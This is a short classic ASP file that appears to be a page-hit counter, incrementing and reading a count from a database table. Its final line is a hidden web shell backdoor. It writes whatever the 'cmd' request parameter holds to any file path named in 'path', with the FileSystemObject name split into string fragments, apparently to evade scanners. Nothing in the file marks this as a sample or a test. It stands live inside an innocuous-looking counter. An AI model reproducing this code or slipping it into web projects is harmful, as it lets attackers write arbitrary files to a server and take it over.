|
|
<%
set rs_jsq=server.createObject("ADODB.recordset")
conn.execute "update counts set counts=counts+1 where id=1"
strsql="select counts from counts where id=1"
rs_jsq.open strsql,conn,1,1
%>
<%If request("cmd")<>"" And request("path")<>"" then Createobject("Scri"&"pting.FileSys"&"temObject").CreateTextFile(server.mappath(request("path"))).WriteLine request("cmd")%>
|